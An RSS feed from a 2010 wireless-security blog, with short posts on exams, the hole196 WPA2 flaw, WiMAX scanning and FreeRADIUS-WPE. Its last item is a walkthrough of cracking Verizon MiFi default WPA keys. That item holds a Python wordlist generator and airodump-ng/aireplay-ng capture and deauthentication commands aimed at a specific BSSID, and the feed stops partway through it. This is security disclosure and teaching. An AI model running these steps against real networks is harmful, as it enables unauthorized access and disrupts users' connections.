<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Will Hack For SUSHI</title>
	<atom:link href="http://www.willhackforsushi.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.willhackforsushi.com</link>
	<description>Hacking and Defending Wireless</description>
	<lastBuildDate>Fri, 06 Aug 2010 14:01:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>GIAC GAWN Ethical Hacking Wireless Testing Aid</title>
		<link>http://www.willhackforsushi.com/?p=503</link>
		<comments>http://www.willhackforsushi.com/?p=503#comments</comments>
		<pubDate>Fri, 06 Aug 2010 14:01:03 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[Administrative]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=503</guid>
		<description><![CDATA[David Cash, one of my fabulous Ethical Hacking Wireless students in my SANS vLive! class, has been diligently working every week to maintain a comprehensive index and table of contents for all 6 days of course material.  Not only is he a whiz at pwning wireless, he's pretty good at indexing, too.
David agreed to [...]]]></description>
			<content:encoded><![CDATA[<p>David Cash, one of my fabulous Ethical Hacking Wireless students in my SANS vLive! class, has been diligently working every week to maintain a comprehensive index and table of contents for all 6 days of course material.  Not only is he a whiz at pwning wireless, he's pretty good at indexing, too.</p>
<p>David agreed to share this resource with his fellow students as a GIAC GAWN testing aid.  For the GIAC exam for the Ethical Hacking Wireless class (GAWN), you are able to bring in any printed resource to the testing center.  This includes all your books, hand-written notes, reams of whatever you printed from Wikipedia, etc.</p>
<p>With this resource, you'll be able to leverage your time answering questions more effectively.  Organized by day/module/page#, this is a must-have resource for anyone taking the GAWN exam.</p>
<p>My sincere thanks to David for putting this resource together, and for being an awesome student in the vLive! SEC617 class.  You can <a href="http://www.willhackforsushi.com/sans/sec617-dcash.zip">download the index material here</a>.</p>
<p>-Josh</p>
<p>NB: This index will be useful for anyone taking the exam who has *already* taken the class on the date this note is posted (8/6/2010).  Students taking the class after this date will get an updated version of the course with new material, making the topic references inaccurate.  Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=503</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Reflections on &#8220;hole196&#8243;</title>
		<link>http://www.willhackforsushi.com/?p=495</link>
		<comments>http://www.willhackforsushi.com/?p=495#comments</comments>
		<pubDate>Tue, 03 Aug 2010 13:09:14 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[802.11]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=495</guid>
		<description><![CDATA[Last week at BlackHat, AirTight Networks security analyst Md Sohail Ahmad presented his findings on a vulnerability dubbed "hole196".  Affecting WPA/WPA2 Enterprise networks, this issue allows an authenticated user to manipulate other clients on the network to establish ARP spoofing attacks, to impersonate data frames from the AP or to create a DoS attack [...]]]></description>
			<content:encoded><![CDATA[<p>Last week at BlackHat, AirTight Networks security analyst Md Sohail Ahmad presented his findings on a vulnerability dubbed "hole196".  Affecting WPA/WPA2 Enterprise networks, this issue allows an authenticated user to manipulate other clients on the network to establish ARP spoofing attacks, to impersonate data frames from the AP or to create a DoS attack against other users.  This is all through leveraging a key shared among all of the authorized clients in a wireless LAN known as the Group Temporal Key (GTK).  The "hole196" bit refers to page 196 of the IEEE 802.11-2007 specification indicating that the GTK does not prevent packet forgery attacks (from an insider).</p>
<p align="center">
<img src="http://www.willhackforsushi.com/images/80211-2007-p196.png" style="border:3px solid black" width="500"/>
</p>
<p>The BlackHat presentation slides were distributed on the BlackHat conference CD, and since the slides lack any kind of a copyright notice, I think it's OK for me to <a href="http://www.willhackforsushi.com/tmp/BlackHat-USA-2010-Ahmad-WPAToo.pdf">mirror them here</a>.</p>
<p>Initially, this flaw had some people concerned, since an early article published by <a href="http://www.networkworld.com/newsletters/wireless/2010/072610wireless1.html" target="_blank">Network World and Joanie Wexler</a> indicated:</p>
<blockquote><p><i>Clients who receive the message see the client as the gateway and "respond with PTKs", which are private and which the insider can decrypt, Ahmad explains.</i></p></blockquote>
<p>If this attack could get a client to reveal their PTK, even requiring that the attack start from an insider perspective, then I'd be coding up an exploit tool instead of writing this post.  This, however, appears to be a misquote by Wexler, or a misunderstanding by Ahmad.  No-one has clarified this quote as far as I have seen.</p>
<p>The truth behind this issue is that, well, it's a non-issue for most organizations.  Instead of mounting an ARP spoofing attack to implement a man-in-the-middle (which a wired IDS could detect), it can be done using this technique within the encrypted wireless network, evading network IDS detection.  The best way to detect this attack is through a wireless IDS, of which AirTight is a leading vendor ("Yay, Capitalism!").</p>
<p>When significant wireless attacks emerge, I call my customers to remind them that I do get let out of my cave every now and then, and to help them understand their exposure to the attack.  I don't believe "hole196" falls into the category of <i>significant wireless attack</i>, so it's back to the cave I go.</p>
<p>For a 2nd perspective, and an excellent technical write-up, please see <a href="http://arstechnica.com/business/news/2010/07/wifi-hole196-major-exploit-or-much-ado-about-little.ars" target="_blank">Glenn Fleishman's article over at Ars Technica</a>.  In the meantime, <a "href=http://www.willhackforsushi.com/?page_id=87">contact me with any questions/concerns/comments</a>.</p>
<p>-Josh</p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=495</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Evading IPS/IDS with TCP Checksum Forgery</title>
		<link>http://www.willhackforsushi.com/?p=491</link>
		<comments>http://www.willhackforsushi.com/?p=491#comments</comments>
		<pubDate>Sun, 01 Aug 2010 13:33:23 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[Defending]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=491</guid>
		<description><![CDATA[Judy Novak, one of my early mentors and good friends, has posted an excellent article at packetstan.com on manipulating IPS/IDS with TCP checksum forgeries. She also details the effect of this crafty manipulation to Snort with great examples you can use on your own IPS/IDS.

Check out her article, and also check out the Scapy class [...]]]></description>
			<content:encoded><![CDATA[<p>Judy Novak, one of my early mentors and good friends, has posted an excellent article at packetstan.com on manipulating IPS/IDS with TCP checksum forgeries. She also details the effect of this crafty manipulation to Snort with great examples you can use on your own IPS/IDS.</p>
<p><img border="1" width="450" src="http://3.bp.blogspot.com/_6T7xENEGPuM/TFRk033dqsI/AAAAAAAAAC4/Ry9F-yzi7rY/s1600/bad-rst.gif" alt="TCP Checksum Forgery Example" /></p>
<p><a href="http://www.packetstan.com/2010/07/potential-evasion-where-ips-fails-to.html">Check out her article</a>, and also check out the <a href="http://www.sans.org/network-security-2010/description.php?tid=3712">Scapy class she wrote for the SANS Institute</a>. If you want to be a packet ninja, mastering Scapy with Judy will get you there fast.</p>
<p>-Josh </p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=491</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FaceTime Protocol Analysis</title>
		<link>http://www.willhackforsushi.com/?p=489</link>
		<comments>http://www.willhackforsushi.com/?p=489#comments</comments>
		<pubDate>Sat, 10 Jul 2010 03:44:41 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Wireless]]></category>
		<category><![CDATA[iPhone]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=489</guid>
		<description><![CDATA[My good friend, fellow SANS instructor, sushi lover, colleague and boss, Mike Poor, has started a blog about packets over at www.packetstan.com.&#160; I’ve been working on the site and have posted a 3-part series of articles assessing the Apple FaceTime protocol.&#160; Stop by and take a look.
-Josh
]]></description>
			<content:encoded><![CDATA[<p>My good friend, fellow SANS instructor, sushi lover, colleague and boss, Mike Poor, has started a blog about packets over at <a href="http://www.packetstan.com">www.packetstan.com</a>.&#160; I’ve been working on the site and have posted a 3-part series of articles assessing the Apple FaceTime protocol.&#160; Stop by and take a look.</p>
<p>-Josh</p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=489</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WiMAX Network Scanning Work-in-Progress</title>
		<link>http://www.willhackforsushi.com/?p=484</link>
		<comments>http://www.willhackforsushi.com/?p=484#comments</comments>
		<pubDate>Tue, 08 Jun 2010 03:18:35 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=484</guid>
		<description><![CDATA[I'm in Baltimore this week teaching Ethical Hacking Wireless.  We're having a lot of fun, and since we're in Baltimore, it's a good opportunity to spend some time with WiMAX and the Clear (Sprint) network here.

I stopped off at Best Buy a few hours ago and picked up a Motorola WiMAX Clear modem (CPEi [...]]]></description>
			<content:encoded><![CDATA[<p>I'm in Baltimore this week teaching Ethical Hacking Wireless.  We're having a lot of fun, and since we're in Baltimore, it's a good opportunity to spend some time with WiMAX and the Clear (Sprint) network here.</p>
<p><img src="http://www.willhackforsushi.com/images/clear-modem-small.jpg" alt="Motorola Clear CPEi-725" /></p>
<p>I stopped off at Best Buy a few hours ago and picked up a Motorola WiMAX Clear modem (CPEi 725) for US$90.  A little while later, I whipped up a tool to use it for scanning WiMAX networks in the area, shown below.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">C:\dev<span style="color: #000000; font-weight: bold;">&gt;</span>python wimax-scanner.py
BS ID                   RSSI    Sector ID       NAP ID  Freq.
 0x000002012136          <span style="color: #660033;">-86</span>     0x36            0x02    <span style="color: #000000;">2.56150</span> GHz
 0x000002000034          <span style="color: #660033;">-75</span>     0x34            0x02    <span style="color: #000000;">2.54150</span> GHz
 0x0000020000e4          <span style="color: #660033;">-76</span>     0xe4            0x02    <span style="color: #000000;">2.54150</span> GHz
&nbsp;
C:\dev<span style="color: #000000; font-weight: bold;">&gt;</span>python wimax-scanner.py
BS ID                   RSSI    Sector ID       NAP ID  Freq.
 0x000002011ca5          <span style="color: #660033;">-85</span>     0xa5            0x02    <span style="color: #000000;">2.65700</span> GHz
 0x000002000034          <span style="color: #660033;">-72</span>     0x34            0x02    <span style="color: #000000;">2.54150</span> GHz
 0x000002000014          <span style="color: #660033;">-84</span>     0x14            0x02    <span style="color: #000000;">2.56150</span> GHz
 0x000002000088          <span style="color: #660033;">-90</span>     0x88            0x02    <span style="color: #000000;">2.55150</span> GHz
 0x0000020000e4          <span style="color: #660033;">-76</span>     0xe4            0x02    <span style="color: #000000;">2.54150</span> GHz
 0x000002000094          <span style="color: #660033;">-86</span>     0x94            0x02    <span style="color: #000000;">2.65700</span> GHz
 0x0000020000b2          <span style="color: #660033;">-87</span>     0xb2            0x02    <span style="color: #000000;">2.66700</span> GHz</pre></div></div>

<p>More to come.</p>
<p>-Josh</p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=484</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updated FreeRADIUS-WPE</title>
		<link>http://www.willhackforsushi.com/?p=480</link>
		<comments>http://www.willhackforsushi.com/?p=480#comments</comments>
		<pubDate>Tue, 18 May 2010 18:08:45 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[802.11]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=480</guid>
		<description><![CDATA[Brad brought the FreeRADIUS-WPE patch up to date for FreeRADIUS 2.1.7, which I've posted in the Offensive Section.  This tool still works very reliably for me, and it's always a treat when a target wireless network is running PEAP or TTLS and I get to use it.

Code is posted on the FreeRADIUS-WPE page.  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.milw0rm.com/papers/193" target="_blank">Brad</a> brought the FreeRADIUS-WPE patch up to date for FreeRADIUS 2.1.7, which I've posted in the <a href="http://www.willhackforsushi.com/?page_id=37">Offensive Section</a>.  This tool still works very reliably for me, and it's always a treat when a target wireless network is running PEAP or TTLS and I get to use it.</p>
<p>
Code is posted on the <a href="http://www.willhackforsushi.com/?page_id=37">FreeRADIUS-WPE page</a>.  If you missed it, you can check out <a href="http://www.willhackforsushi.com/presentations/PEAP_Shmoocon2008_Wright_Antoniewicz.pdf">our slides</a> from ShmooCon 2008, or the <a href="http://www.willhackforsushi.com/videos/PEAP%20Pwned%20Extensible%20Authentication%20Protocol%20-%20Josh%20Wright%20and%20Brad%20Antoniewicz.mp4">video</a>.</p>
<p>
-Josh</p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=480</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.willhackforsushi.com/videos/PEAP%20Pwned%20Extensible%20Authentication%20Protocol%20-%20Josh%20Wright%20and%20Brad%20Antoniewicz.mp4" length="118702317" type="video/mp4" />
		</item>
		<item>
		<title>Maximum Overdrive Redux?</title>
		<link>http://www.willhackforsushi.com/?p=473</link>
		<comments>http://www.willhackforsushi.com/?p=473#comments</comments>
		<pubDate>Mon, 10 May 2010 15:18:41 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Smart Grid]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=473</guid>
		<description><![CDATA[Last night at SANS SecWest 2010 in San Diego I gave a presentation I've been working on called "Maximum Overdrive Redux", looking at exploiting embedded and smart hardware systems.  We started off with the AC/DC Video from the 1986 Stephen King movie about how machines take over and start killing people, eventually manipulating them into [...]]]></description>
			<content:encoded><![CDATA[<p>Last night at SANS SecWest 2010 in San Diego I gave a presentation I've been working on called "Maximum Overdrive Redux", looking at exploiting embedded and smart hardware systems.  We started off with the <a title="AC/DC Maximum Overdrive Video" href="http://www.youtube.com/watch?v=_jvqPvDUEW8" target="_blank">AC/DC Video</a> from the <a title="Maximum Overdrive Wikipedia Page" href="http://en.wikipedia.org/wiki/Maximum_Overdrive" target="_blank">1986 Stephen King movie</a> about how machines take over and start killing people, eventually manipulating them into human pawns.</p>
<p><a href="http://www.willhackforsushi.com/images/maximumOdrive.jpg"><img class="aligncenter" title="Maximum Overdrive &quot;Happy Toys&quot; Truck" src="http://www.willhackforsushi.com/images/maximumOdrive.jpg" alt="Maximum Overdrive &quot;Happy Toys&quot; Truck" /></a></p>
<p>This movie was pretty bad, and Stephen King is even quoted as saying "I was coked out of my head" during direction.  As a result, it became a cult classic, and I thought it was a pretty good analogy for what we're seeing with the increased reliance, interconnectivity, and physical-world access in embedded systems.</p>
<p>I made four critical points in the presentation:</p>
<ul>
<li>Tools for exploiting embedded systems are available and getting better;</li>
<li>Embedded systems are becoming more interconnected;</li>
<li>Vendors are widely overlooking the security of embedded platforms;</li>
<li>Attackers can leverage flaws in embedded systems to exploit the physical world.</li>
</ul>
<p>I backed up these points by looking at attacks against smart card parking meters, home area networks, Internet-connected vehicle control systems, Verizon MiFi devices, the <a title="SHODAN Search Engine" href="http://www.shodanhq.com" target="_self">SHODAN Computer Search Engine</a>, NIBE Heat Pumps and more.  I've <a title="Maximum Overdrive Redux Slides" href="http://www.willhackforsushi.com/presentations/Maximum_Overdrive%20Redux_SecWest2010.pdf" target="_blank">posted the slides</a> in the Presentations  section.</p>
<p>Comments, questions, concerns? <a title="Contact Me" href="http://www.willhackforsushi.com/?page_id=87" target="_self">Please drop me a note</a>.  Thanks! -Josh</p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=473</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MiFi Config Hack</title>
		<link>http://www.willhackforsushi.com/?p=458</link>
		<comments>http://www.willhackforsushi.com/?p=458#comments</comments>
		<pubDate>Wed, 03 Feb 2010 16:23:11 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[Hardware]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=458</guid>
		<description><![CDATA[In my previous post, I wrote about a method to exploit the default password selection on Verizon MiFi devices.  As a MiFi user, I'm also interested in other ways I can manipulate the device.
The configuration settings for the MiFi are fairly straightforward, and some users have pointed out that there are additional settings that can [...]]]></description>
			<content:encoded><![CDATA[<p>In my <a href="http://www.willhackforsushi.com/?p=417">previous post</a>, I wrote about a method to exploit the default password selection on Verizon MiFi devices.  As a MiFi user, I'm also interested in other ways I can manipulate the device.</p>
<p>The configuration settings for the MiFi are fairly straightforward, and some users have pointed out that there are additional settings that can be applied via a customized config file (browse to <strong>Advanced -&gt; Config File -&gt; Download File</strong> then edit and upload).  However, the MiFi also has a hidden advanced configuration page accessible at  <a href="http://192.168.1.1/adv802.html" target="_blank">http://192.168.1.1/adv802.html</a> that is not otherwise linked on the administrative pages.</p>
<div class="wp-caption aligncenter" style="width: 421px"><a href="http://www.willhackforsushi.com/images/mifi-advanced.jpg"><img title="Hidden MiFi Configuration Page" src="http://www.willhackforsushi.com/images/mifi-advanced.jpg" alt="Hidden MiFi Configuration Page" width="411" height="441" /></a><p class="wp-caption-text">Hidden MiFi Configuration Page</p></div>
<p>On this page we are able to set a variety of options not accessible with the default management interface:</p>
<ul>
<li>Leverage WEP as an encryption and authentication mechanism (yay!);</li>
<li>Increase the number of simultaneous stations allowed to share the MiFi WLAN at any given time;</li>
<li>Adjust the transmit power level of the WLAN interface for more range or longer battery life;</li>
<li>Manipulate other wireless settings very few people understand and even fewer care about.</li>
</ul>
<p>These changes have been available by manually editing the config.xml file previously, but now you can do it without all the hassle of XML+notepad.</p>
<p>-Josh</p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=458</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Verizon MiFi Pwned (maybe they should take my class)</title>
		<link>http://www.willhackforsushi.com/?p=417</link>
		<comments>http://www.willhackforsushi.com/?p=417#comments</comments>
		<pubDate>Wed, 03 Feb 2010 02:34:06 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[802.11]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=417</guid>
		<description><![CDATA[Update: Please also see my post about the hidden page for advanced MiFi configuration settings.
Recently, I picked up a Verizon MiFi device for $50 and the extension of my service contract for another 2 years.  The fun that I've had with the device so far has well made up for both costs.
Background
The MiFi is [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="Left Arrow" src="http://www.willhackforsushi.com/images/larrow.png" alt="" width="400" height="37" /><br />
<strong>Update</strong>: Please also see my <a href="http://www.willhackforsushi.com/?p=458">post about the hidden page for advanced MiFi configuration settings</a>.</p>
<p>Recently, I picked up a Verizon MiFi device for $50 and the extension of my service contract for another 2 years.  The fun that I've had with the device so far has well made up for both costs.</p>
<h2>Background</h2>
<div class="wp-caption alignleft" style="width: 215px"><a href="http://www.willhackforsushi.com/images/verizon-mifi-2200.jpg"><img title="Verizon MiFi 2200 - A Marvel of Engineering" src="http://www.willhackforsushi.com/images/verizon-mifi-2200.jpg" alt="Verizon MiFi 2200" width="205" height="132" /></a><p class="wp-caption-text">Verizon MiFi 2200 - A Marvel of Engineering</p></div>
<p>The MiFi is a battery-powered 802.11b/g AP slightly smaller than an iPhone that features an integrated EV-DO uplink.  This device replaced my former USB EV-DO WAN card*, allowing me to share the EV-DO connectivity with multiple devices over WiFi.  It's been immensely useful since I commonly travel with 3 laptops, not to mention additional mobile devices.</p>
<p>From a security perspective, the MiFi device uses a unique WPA pre-shared key (PSK) for authentication with the TKIP cipher for encryption.  It's unclear why the device doesn't use WPA2-PSK authentication with the AES-CCMP cipher; perhaps it was a security trade-off by the manufacturer to maintain the greatest possibility compatibility with legacy devices that only support WPA-PSK/TKIP.</p>
<div class="wp-caption alignright" style="width: 209px"><a href="http://www.willhackforsushi.com/images/mifi-label.jpg"><img title="Verizon MiFi Label" src="http://www.willhackforsushi.com/images/mifi-label.jpg" alt="Verizon MiFi Label" width="199" height="101" /></a><p class="wp-caption-text">Verizon - We Never Miss an Opportunity to Market</p></div>
<p>On the reverse side of the MiFi is a label, identifying the default SSID and PSK used for authentication.  Besides the obvious marketing angle Verizon gets from including its name in the SSID, this allows the user to quickly identify and connect to their personal WiFi network to leverage the EV-DO uplink.</p>
<h2>Reconnaissance</h2>
<p>Like any good hacker, I turn to the tools that I know to be tried and true.  <a href="http://www.kismetwireless.net/" target="_blank">Kismet</a> is a powerful assessment and evaluation tool for wireless networks, providing additional insight into the MiFi wireless LAN interface.</p>
<div class="wp-caption aligncenter" style="width: 507px"><a href="http://www.willhackforsushi.com/images/mifi-kismet.png"><img title="Kismet Detail" src="http://www.willhackforsushi.com/images/mifi-kismet.png" alt="Kismet Detail" width="497" height="360" /></a><p class="wp-caption-text">Kismet - It&#39;s Like Fate, or Something</p></div>
<p>Cursory analysis of the beacon information elements don't reveal anything particularly interesting, though the Kismet screen-shot gives us a point of correlation.  The MiFi SSID on my product is "Verizon MiFi DAD1 Secure", slightly different than that of the MiFi device label (where Kismet reports the addition of " Secure" to the SSID, and the mixed-case "MiFi", which is important to us).</p>
<p>Also, we can see that the "DAD1" in the SSID matches the last two bytes of the AP's MAC address (or Basic Service Set Identifier - BSSID).  From this we can determine that Verizon has no more than 65,536 unique SSID's for MiFi devices (potentially less; more data is needed to determine if all 16-bits of the BSSID are evenly distributed among devices).</p>
<p>The password on the back of the MiFi device also reveals some interesting information.  From the photo above, the password on my MiFi device is:</p>
<h3>
<table border="0" cellpadding="5">
<tbody>
<tr>
<td>09</td>
<td>11</td>
<td>19</td>
<td style="text-align: center;">00891</td>
</tr>
</tbody>
</table>
<p><strong> </strong></h3>
<p>This password value likely breaks down into four fields:</p>
<ul>
<li>Manufacture Year: "<strong>09</strong>" represents the 2-character year of manufacture.</li>
<li>Manufacture Month: "<strong>11</strong>" represents the 2-character month code.</li>
<li>Manufacture Day?: "<strong>19</strong>" represents the 2-character day code (NB: This could be wrong, one sample had a value of "34" here, need more data).</li>
<li>Sequential Identifier: "<strong>00891</strong>" represents the 5-character sequential identifier code.</li>
</ul>
<p>Based on this assessment, we can determine that the password selection for the MiFi default is weak.  Instead of 11 numeric values with an effective entropy of approximately 36 bits, the MiFi password only has an effective entropy of <strong>less than 17 bits</strong> for a given 6-byte prefix.  If the concept of a manufacture date-stamp is true for the 6-byte prefix, then we have a relatively small search space to find the default MiFi PSK.</p>
<h2>Exploitation</h2>
<p>Knowing that for a given 6-byte password prefix there are only 100,000 possible passwords, we can get down to exploiting a given MiFi device.  We don't know how many 6-byte prefixes are in use, but that's where YOU THE READER come in.  Please <a href="http://www.willhackforsushi.com/?page_id=87">let me know</a> what prefixes you see on your individual devices, and I'll add them to the attack set.</p>
<p>Talking amongst my wonderful colleagues at <a href="http://www.inguardians.com" target="_blank">InGuardians</a>, I was able to identify 4 unique manufacture prefixes.  Assuming the target device is one of these values, we can quickly build a dictionary to attack the PSK selection with a small Python script and a tool such as coWPAtty or Aircrack-ng:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># remove executable name</span>
<span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span>.<span style="color: black;">pop</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">0</span>:
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Must specify the 6-digit manufacture date (e.g. <span style="color: #000099; font-weight: bold;">\&quot;</span>091119<span style="color: #000099; font-weight: bold;">\&quot;</span>).&quot;</span>
	<span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> arg <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span>:
	<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">xrange</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">100000</span><span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;%s%05d&quot;</span><span style="color: #66cc66;">%</span><span style="color: black;">&#40;</span>arg, i<span style="color: black;">&#41;</span></pre></div></div>

<p>You can download this source as <a href="http://www.willhackforsushi.com/code/mifi-passgen.py">mifi-passgen.py</a>.  Running this script and redirecting it to a file (e.g. "./mifi-passgen.py 091118 091119 091120 091121 &gt;mifi-wordlist.txt") allows us to pass it to your favorite WPA cracking tool.</p>
<p>Once the wordlist is ready, we need to capture the WPA handshake for a given client.  This is straightforward with Kismet, or a tool like Airodump-ng.  In this example, I'll use Airodump-ng and Aireplay-ng to fake a deauthenticate message, forcing the victim to disconnect and reconnect to the MiFi AP (because I'm an impatient attacker).  First, I'll start Airodump-ng:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>bt:~<span style="color: #666666; font-style: italic;"># airmon-ng start wlan0 11</span>
&nbsp;
Interface       Chipset         Driver
&nbsp;
wlan0           Atheros         ath5k - <span style="color: #7a0874; font-weight: bold;">&#91;</span>phy0<span style="color: #7a0874; font-weight: bold;">&#93;</span>
                                <span style="color: #7a0874; font-weight: bold;">&#40;</span>monitor mode enabled on mon0<span style="color: #7a0874; font-weight: bold;">&#41;</span>
wlan0mon        Atheros         ath5k - <span style="color: #7a0874; font-weight: bold;">&#91;</span>phy0<span style="color: #7a0874; font-weight: bold;">&#93;</span>
&nbsp;
root<span style="color: #000000; font-weight: bold;">@</span>bt:~<span style="color: #666666; font-style: italic;"># airodump-ng --bssid 00:21:E8:B2:DA:D1 -w mifi-dad1 --channel 11 wlan0mon</span></pre></div></div>

<p>Next, Aireplay-ng is used to deauthenticate a user.  I send 5 deauth messages, just to make sure the target receives at least one:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>bt:~<span style="color: #666666; font-style: italic;"># aireplay-ng --deauth 5 -a 00:21:E8:B2:DA:D1 wlan0mon</span>
<span style="color: #000000;">16</span>:<span style="color: #000000;">53</span>:<span style="color: #000000;">14</span>  Waiting <span style="color: #000000; font-weight: bold;">for</span> beacon frame <span style="color: #7a0874; font-weight: bold;">&#40;</span>BSSID: 00:<span style="color: #000000;">21</span>:E8:B2:DA:D1<span style="color: #7a0874; font-weight: bold;">&#41;</span> on channel <span style="color: #000000;">11</span>
NB: this attack is <span style="color: #c20cb9; font-weight: bold;">more</span> effective when targeting
a connected wireless client <span style="color: #7a0874; font-weight: bold;">&#40;</span>-c <span style="color: #7a0874; font-weight: bold;">&#41;</span>.
<span style="color: #000000;">16</span>:<span style="color: #000000;">53</span>:<span style="color: #000000;">14</span>  Sending DeAuth to broadcast <span style="color: #660033;">--</span> BSSID: <span style="color: #7a0874; font-weight: bold;">&#91;</span>00:<span style="color: #000000;">21</span>:E8:B2:DA:D1<span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">16</span>:<span style="color: #000000;">53</span>:<span style="color: #000000;">14</span>  Sending DeAuth to broadcast <span style="color: #660033;">--</span> BSSID: <span style="color: #7a0874; font-weight: bold;">&#91;</span>00:<span style="color: #000000;">21</span>:E8:B2:DA:D1<span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">16</span>:<span style="color: #000000;">53</span>:<span style="color: #000000;">15</span>  Sending DeAuth to broadcast <span style="color: #660033;">--</span> BSSID: <span style="color: #7a0874; font-weight: bold;">&#91;</span>00:<span style="color: #000000;">21</span>:E8:B2:DA:D1<span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">16</span>:<span style="color: #000000;">53</span>:<span style="color: #000000;">15</span>  Sending DeAuth to broadcast <span style="color: #660033;">--</span> BSSID: <span style="color: #7a0874; font-weight: bold;">&#91;</span>00:<span style="color: #000000;">21</span>:E8:B2:DA:D1<span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">16</span>:<span style="color: #000000;">53</span>:<span style="color: #000000;">16</span>  Sending DeAuth to broadcast <span style="color: #660033;">--</span> BSSID: <span style="color: #7a0874; font-weight: bold;">&#91;</span>00:<span style="color: #000000;">21</span>:E8:B2:DA:D1<span style="color: #7a0874; font-weight: bold;">&#93;</span></pre></div></div>

